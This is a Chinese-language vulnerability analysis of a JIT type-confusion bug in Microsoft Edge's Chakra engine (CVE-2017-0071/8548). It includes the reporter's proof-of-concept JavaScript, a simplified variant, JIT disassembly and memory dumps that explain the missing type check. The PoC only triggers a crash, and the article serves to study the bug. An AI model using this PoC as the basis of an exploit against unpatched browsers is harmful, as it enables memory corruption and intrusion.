作者:Ox9A82
预估稿费:1000RMB
(本篇文章享受双倍稿费 活动链接请点击此处)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
简介
这是Microsoft Edge的javascript解析引擎Chakra的一个漏洞。这篇分析也是我这系列分析中的一部分,这一系列的漏洞虽然成因各有不同,但是我个人觉得在挖掘问题的思路上是一脉相承的。 这个漏洞与之前的几个相比比较特殊的是涉及到了代码的JIT,也就是发生了优化导致的问题。 此外这也是一个微软修了两次才修好的漏洞,韩国神童lokihardt第一次在16年12月经project zero上报了这个漏洞,编号为CVE-2017-0071。之后微软进行了错误的修补lokihardt在17年6月份再次上报了这个漏洞编号为CVE-2017-8548。
漏洞概况
lokihardt提供的POC如下
'use strict';
function func(a, b, c) {
a[0] = 1.2;
b[0] = c;
a[1] = 2.2;
a[0] = 2.3023e-320;
}
function main() {
let a = [1.1, 2.2];
let b = new Uint32Array(100);
for (let i = 0; i < 0x1000; i++)
func(a, b, {}); // <<---------- REPLACED
func(a, b, {valueOf: () => {
a[0] = {};
return 0;
}});
a[0].toString();
}
main();
执行POC后crash情况如下
return Merge(FromObject(RecyclableObject::FromVar(var)));
//其中var=0x1234,对0x1234转换RecyableObject导致crash
初步观察POC可以得知,func()被反复执行导致JIT,之后对JIT函数调用了用户定义的callback函数。
漏洞调试
首先简化POC进行调试,简化后POC如下:
function func(a, b, c) {
a[0] = 2.3023e-320;
b[0] = c;
a[0] = 2.3023e-320;
}
let a = [1.1];
let b = new Uint32Array(100);
for (let i = 0; i < 0x1000; i++)
func(a, b, {});
let func1 = function()
{
a[0] = {};
}
func(a, b,{valueOf:func1});
a[0];
crash发生在如下函数中,0x1234不满足TaggedInt和NoTaggedIntCheck因此会被当成对象指针进行RecyclableObject::FromVar(var)
__inline ValueType ValueType::Merge(const Js::Var var) const
{
using namespace Js;
Assert(var);
if(TaggedInt::Is(var))
return Merge(GetTaggedInt());
if(JavascriptNumber::Is_NoTaggedIntCheck(var))
{
return
Merge(
(IsUninitialized() || IsLikelyInt()) && JavascriptNumber::IsInt32_NoChecks(var)
? GetInt(false)
: ValueType::Float);
}
return Merge(FromObject(RecyclableObject::FromVar(var)));
}
也就是说这里错误的把0x1234当作指针进行操作,在Chakra中发生这种情况一般都是类型混淆导致的。
JIT分析
首先通过调试获取POC中func函数JIT之后的代码片断如下
000001E5B5440172 lea rax,[rsi-108890h] <=== 1
000001E5B5440179 cmp qword ptr [r15],rax //check vtable
000001E5B544017C jne 000001E5B5440498
000001E5B5440182 test byte ptr [r15+18h],4
000001E5B5440187 je 000001E5B54404CE
000001E5B544018D mov rax,qword ptr [r15+28h] //rax=segment
000001E5B5440191 mov ecx,dword ptr [rax+4] //ecx=size
000001E5B5440194 cmp ecx,0 //check size
000001E5B5440197 jle 000001E5B54404E8
000001E5B544019D movsd xmm6,mmword ptr [rdi+2CB0h] //0x1234
000001E5B54401A6 movsd mmword ptr [rax+18h],xmm6 //a[0] = 2.3023e-320
000001E5B54401AC mov rcx,r14
000001E5B54401AF shr rcx,30h
000001E5B54401B3 jne 000001E5B5440538
000001E5B54401B9 cmp qword ptr [r14],rsi
000001E5B54401BC jne 000001E5B5440538
000001E5B54401C2 cmp dword ptr [r14+20h],0
000001E5B54401C7 jle 000001E5B5440556
000001E5B54401CD mov rsi,qword ptr [r14+38h]
000001E5B54401D1 mov rcx,r13
000001E5B54401D4 mov rdx,rcx
000001E5B54401D7 shr rdx,30h
000001E5B54401DB cmp rdx,1
000001E5B54401DF jne 000001E5B544058A //JavascriptMath::ToInt32
000001E5B54401E5 mov ecx,ecx
000001E5B54401E7 mov dword ptr [rsi],ecx
000001E5B54401E9 movsd mmword ptr [rax+18h],xmm6
000001E5B54401EF mov rax,qword ptr [rbx-48168h]
000001E5B54401F6 cmp rax,qword ptr [rdi+400h]
000001E5B54401FD jne 000001E5B54405F6
000001E5B5440203 mov rsi,qword ptr [r12+0E8h]
000001E5B544020B mov rax,rsi
000001E5B544020E shr rax,30h
000001E5B5440212 jne 000001E5B544064D
000001E5B5440218 mov rax,qword ptr [rsi+8]
000001E5B544021C cmp rax,rbx
000001E5B544021F jne 000001E5B5440669
000001E5B5440225 mov rcx,qword ptr [rsi+10h]
000001E5B5440229 mov rbx,qword ptr [rcx+8]
000001E5B544022D mov rax,rbx
000001E5B5440230 shr rax,30h
000001E5B5440234 jne 000001E5B54406ED
000001E5B544023A mov rax,qword ptr [rbx+8]
000001E5B544023E cmp rax,qword ptr [rdi+2B0h]
000001E5B5440245 jne 000001E5B54406C8
000001E5B544024B mov rcx,qword ptr [rbx+10h]
000001E5B544024F mov rsi,qword ptr [rcx+28h]
000001E5B5440253 mov rax,rsi
000001E5B5440256 shr rax,30h
000001E5B544025A jne 000001E5B5440749
000001E5B5440260 mov rax,qword ptr [rsi+8]
000001E5B5440264 cmp rax,qword ptr [rdi]
000001E5B5440267 jne 000001E5B5440727
在1处r15的值指向一个JavascriptNativeFloatArray对象。 JIT代码中首先会验证r15指向的对象是否是一个合法的JavascriptNativeFloatArray对象,方法就是通过比较虚表地址。之后取出Array中的Segment,验证Segment的size域来查看Segment能否容纳元素,之后直接写入新的元素0x1234。
000001E5B544019D movsd xmm6,mmword ptr [rdi+2CB0h] //0x1234
000001E5B54401A6 movsd mmword ptr [rax+18h],xmm6 //a[0] = 2.3023e-320
在执行向Uint32Array写入时,因为poc中传递给func的参数是func1,因此它不属于TaggedInt
000001E5B54401D1 mov rcx,r13
000001E5B54401D4 mov rdx,rcx
000001E5B54401D7 shr rdx,30h
000001E5B54401DB cmp rdx,1
000001E5B54401DF jne 000001E5B544058A //JavascriptMath::ToInt32
因而会跳转到0x00001E5B544058A调用JavascriptMath::ToInt32试图做一个转化。 在这个函数过程中,用户定义的func1函数就会被执行,具体情况见下面。 在下面的调用栈中,000001fdd74905a7是JIT代码,JIT代码中经过上面说过的判断调用了JavascriptMath::ToInt32,而最后流程会执行到ExecuteImplicitCall去调用用户callback函数。
ThreadContext::ExecuteImplicitCall
DynamicObject::CallToPrimitiveFunction
DynamicObject::ToPrimitiveImpl
DynamicObject::ToPrimitive
JavascriptConversion::OrdinaryToPrimitive
JavascriptConversion::MethodCallToPrimitive
JavascriptConversion::ToPrimitive
JavascriptConversion::ToInt32_Full
JavascriptMath::ToInt32_Full
JavascriptMath::ToInt32
000001fdd74905a7()
我们在之前的漏洞分析中说过对JavascriptNativeFloatArray数组添加一个非float值(比如对象)会导致数组转化为JavascriptArray,比如poc中的用户callback:
let func1 = function()
{
a[0] = {};
}
但是之前没有详细叙述过这个过程,这里描述一下数组类型转变的过程。
NativeFloatArray的转化
首先我们对JavascriptNativeFloatArray的赋值操作会调用到JavascriptNativeFloatArray::SetItem
BOOL JavascriptNativeFloatArray::SetItem(uint32 index, Var value, PropertyOperationFlags flags)
{
double dValue;
TypeId typeId = this->TrySetNativeFloatArrayItem(value, &dValue);
if (typeId == TypeIds_NativeFloatArray)
{
this->SetItem(index, dValue);
}
else
{
this->DirectSetItemAt(index, value);
}
return TRUE;
}
注意这个函数首先调用TrySetNativeFloatArrayItem。然后根据返回结果的Type_Id不同调用不同的赋值函数。 当返回的TypeId是NativeFloatArray时,调用JavascriptNativeFloatArray::SetItem 当返回的TypeId是JavascriptArray时,调用JavascriptArray::DirectSetItemAt<Var>
而负责判断值类型的函数JavascriptNativeFloatArray::TrySetNativeFloatArrayItem,当发现要设置的值不属于NativeFloatArray应该储存的范畴时,会进行转化,如下所示
TypeId JavascriptNativeFloatArray::TrySetNativeFloatArrayItem(Var value, double *dValue)
{
if (TaggedInt::Is(value))
{
*dValue = (double)TaggedInt::ToInt32(value);
return TypeIds_NativeFloatArray;
}
else if (JavascriptNumber::Is_NoTaggedIntCheck(value))
{
*dValue = JavascriptNumber::GetValue(value);
return TypeIds_NativeFloatArray;
}
JavascriptNativeFloatArray::ToVarArray(this); // <=== 转化
return TypeIds_Array;
}
之后的操作包括转化Array中已有的元素、更改虚表、设置新的Type Object等。 这些操作具体是在JavascriptNativeFloatArray::ToVarArray的子函数JavascriptNativeFloatArray::ConvertToVarArray中实现的。
//转化Array中的元素
int32 ival;
double dval = ((SparseArraySegment<double>*)seg)->elements[i];
if (JavascriptNumber::TryGetInt32Value(dval, &ival) && !TaggedInt::IsOverflow(ival))
{
newSeg->elements[i] = TaggedInt::ToVarUnchecked(ival);
}
else
{
newSeg->elements[i] = JavascriptNumber::ToVarWithCheck(dval, scriptContext);
}
...
//设置新的Type Object
fArray->GetType()->SetTypeId(TypeIds_Array);
...
//更改虚表
Assert(VirtualTableInfo<JavascriptNativeFloatArray>::HasVirtualTable(fArray));
VirtualTableInfo<JavascriptArray>::SetVirtualTable(fArray);
...
在进行转化前,Array内存如下
0x000001CA96B00660 00007ffd6f13f150 P?.o?...
0x000001CA96B00668 000001ca96ad9140 @????...
0x000001CA96B00670 0000000000000000 ........
0x000001CA96B00678 0000000000010005 ........
0x000001CA96B00680 0000000000000001 ........
0x000001CA96B00688 000001ca96b006a0 ?.???...
0x000001CA96B00690 000001ca96b006a0 ?.???...
0x000001CA96B00698 000001c295048930 0?.??...
0x000001CA96B006A0 0000000100000000 ........
0x000001CA96B006A8 0000000000000001 ........
0x000001CA96B006B0 0000000000000000 ........
0x000001CA96B006B8 0000000000001234 4.......
可以看到0x000001CA96B00660为NativeFloatArray虚表,0x00001ca96ad9140是指向Type对象的指针,0x00001ca96b006a0为segement指针,segment的size和length皆为1。 在进行转化之后内存的内容变化如下:
0x000001CA96B00660 00007ffd6f13e1d8 ??.o?...
0x000001CA96B00668 000001ca96ad8fc0 ?????...
0x000001CA96B00670 0000000000000000 ........
0x000001CA96B00678 0000000000010005 ........
0x000001CA96B00680 0000000000000001 ........
0x000001CA96B00688 000001ca96b006a0 ?.???...
0x000001CA96B00690 000001ca96b006a0 ?.???...
0x000001CA96B00698 0000000000000000 ........
0x000001CA96B006A0 0000000100000000 ........
0x000001CA96B006A8 0000000000000001 ........
0x000001CA96B006B0 0000000000000000 ........
0x000001CA96B006B8 000001ca96b753e0 ?S???...
可以看到vtable、TypeId、element[0]都发生了改变,其中vtable是从JavascriptNativeFloatArray::vtable变成了JavascriptArray::vtable。对象的类型也从JavascriptNativeFloatArray变成JavascriptArray。 原来的Type对象如下所示,0x1f是原来的id值,对应的宏定义是TypeIds_NativeFloatArray
0x0000026AFD659140 000000000000001f ........
0x0000026AFD659148 0000026afd668000 .€f?j...
0x0000026AFD659150 0000026afd67c000 .?g?j...
0x0000026AFD659158 00007ffd6e97d480 €??n?...
0x0000026AFD659160 0000000000000000 ........
0x0000026AFD659168 0000026afd659100 .?e?j...
0x0000026AFD659170 0000000000000101 ........
0x0000026AFD659178 0000000000000000 ........
0x0000026AFD659180 00007ffd6f2ee9d0 ??.o?...
0x0000026AFD659188 0000000000001d11 ........
0x0000026AFD659190 0000000000000001 ........
0x0000026AFD659198 0000026afd674000 ........
新的Type对象如下所示,0x1f是新的id值,对应的宏定义是TypeIds_Array
0x0000026AFD658FC0 000000000000001c ........
0x0000026AFD658FC8 0000026afd668000 .€f?j...
0x0000026AFD658FD0 0000026afd67c000 .?g?j...
0x0000026AFD658FD8 00007ffd6e97d480 €??n?...
0x0000026AFD658FE0 0000000000000000 ........
0x0000026AFD658FE8 0000026afd658f80 €?e?j...
0x0000026AFD658FF0 0000000000000101 ........
0x0000026AFD658FF8 0000000000000000 ........
0x0000026AFD659000 00007ffd6f2ee9d0 ??.o?...
0x0000026AFD659008 0000000000001d11 ........
0x0000026AFD659010 0000000000000001 ........
0x0000026AFD659018 0000026afd674000 .@g?j...
漏洞成因
我们回过头再来看一下JIT代码,其实可以分为三段。
function func(a, b, c) {
a[0] = 2.3023e-320; //<===1
b[0] = c; //<===2
a[0] = 2.3023e-320; //<===3
}
第一段,对应于func中的1 代码首先验证Array的类型是否为JavascriptNativeArray,之后验证segement是否可以容纳元素,之后就是进行赋值
0000019DA4D7016E lea rax,[rsi-108890h]
0000019DA4D70175 cmp qword ptr [r15],rax //check vtable
0000019DA4D70178 jne 0000019DA4D70494
0000019DA4D7017E test byte ptr [r15+18h],4
0000019DA4D70183 je 0000019DA4D704CC
0000019DA4D70189 mov rax,qword ptr [r15+28h] //rax=segment
0000019DA4D7018D mov ecx,dword ptr [rax+4] //ecx=size
0000019DA4D70190 cmp ecx,0 //check size
0000019DA4D70193 jle 0000019DA4D704E6
0000019DA4D70199 movsd xmm6,mmword ptr [rdi+2CC0h]
0000019DA4D701A2 movsd mmword ptr [rax+18h],xmm6
0000019DA4D701A8 mov rcx,r14
0000019DA4D701AB shr rcx,30h
0000019DA4D701AF jne 0000019DA4D70536
0000019DA4D701B5 cmp qword ptr [r14],rsi
0000019DA4D701B8 jne 0000019DA4D70536
0000019DA4D701BE cmp dword ptr [r14+20h],0
0000019DA4D701C3 jle 0000019DA4D70550
此时内存数据如下:
0x00000205F8280660 00007ffd6f13f150 P?.o?...
0x00000205F8280668 00000205f8259140 @?%?....
0x00000205F8280670 0000000000000000 ........
0x00000205F8280678 0000000000010005 ........
0x00000205F8280680 0000000000000001 ........
0x00000205F8280688 00000205f82806a0 ?.(?....
0x00000205F8280690 00000205f82806a0 ?.(?....
0x00000205F8280698 00000205f6818930 0???....
0x00000205F82806A0 0000000100000000 ........
0x00000205F82806A8 0000000000000001 ........
0x00000205F82806B0 0000000000000000 ........
0x00000205F82806B8 0000000000001234 4.......
第二段,对应于func中的2 代码验证了值的类型,并调用JavascriptMath::ToInt32,注意正是这里调用了用户callback
0000019DA4D701C9 mov rsi,qword ptr [r14+38h]
0000019DA4D701CD mov rcx,r13
0000019DA4D701D0 mov rdx,rcx
0000019DA4D701D3 shr rdx,30h
0000019DA4D701D7 cmp rdx,1
0000019DA4D701DB jne 0000019DA4D70584
0000019DA4D704E6 mov dword ptr [rdi+2D84h],20000h
0000019DA4D704F0 lea rcx,[rdi-831A8h]
0000019DA4D704F7 mov qword ptr [rdi+2DA0h],rcx
0000019DA4D704FE mov rcx,195A4AF60B8h
0000019DA4D70508 mov rax,7FFD74DBBF10h
0000019DA4D70512 call rax //JavascriptMath::ToInt32
0000019DA4D70515 jmp 0000019DA4D7028B
此时内存数据如下:
0x00000205F8280660 00007ffd6f13e1d8 ??.o?...
0x00000205F8280668 00000205f8258fc0 ??%?....
0x00000205F8280670 0000000000000000 ........
0x00000205F8280678 0000000000010005 ........
0x00000205F8280680 0000000000000001 ........
0x00000205F8280688 00000205f82806a0 ?.(?....
0x00000205F8280690 00000205f82806a0 ?.(?....
0x00000205F8280698 0000000000000000 ........
0x00000205F82806A0 0000000100000000 ........
0x00000205F82806A8 0000000000000001 ........
0x00000205F82806B0 0000000000000000 ........
0x00000205F82806B8 00000205f82f53e0 ?S/?....
可以观察到此时vtable、Type Object指针已经改变,说明此对象已经成为JavascriptArray。 注意0x00000205F82806B8处的值已经由0x000000000001234变成0x0000205f82f53e0。 而0x0000205f82f53e0其实就是callback中赋予Array的对象,证明如下:
0x00000205F82F53E0 00007ffd6f13af00 .?.o?...
0x00000205F82F53E8 00000205f825a180 //Type Object
0x00000205F825A180 000000000000001b ........ //TypeIds_Object = 27
0x00000205F825A188 00000205f8268000 .€&?....
0x00000205F825A190 00000205f8244120 A$?....
第三段,对应于func中的3 此时执行第三次赋值操作,如果你仔细观察与第一段的区别可能就会意识到这个漏洞成因了。此时,在进行赋值操作前并没有对目标Array的类型和segment的属性做任何的验证,而是选择了直接赋值。这就执行导致了把0x1234这样一个对于JavascriptArray来说是完全非法的值(JavascriptArray中应储存TaggedInt或NoTaggedInt),从而造成了一个类型混淆。
0000019DA4D704E6 mov dword ptr [rdi+2D84h],20000h
0000019DA4D704F0 lea rcx,[rdi-831A8h]
0000019DA4D704F7 mov qword ptr [rdi+2DA0h],rcx
0000019DA4D704FE mov rcx,195A4AF60B8h
0000019DA4D70508 mov rax,7FFD74DBBF10h
0000019DA4D70512 call rax
0000019DA4D70515 jmp 0000019DA4D7028B
总结一下,JIT代码生成的func函数时仅在第一次赋值前对目标Array进行了类型验证,这就导致了一旦在中途Array类型发生了改变,在第二赋值时就会发生类型混淆。 而在没有JIT的情况下,每次执行函数都由bytecode进行解释执行,调用相关的SetItem函数因而不会发生类型混淆。
参考链接
https://bugs.chromium.org/p/project-zero/issues/detail?id=1316&can=1&q=lokihardt%40google.com
https://github.com/Microsoft/ChakraCore/pull/2697/commits/ff21352270c174ea21606369432909fcb1d9a0e9
https://github.com/Microsoft/ChakraCore/pull/3166/commits/cd60f3b5c35592006caae7730760a7980857990c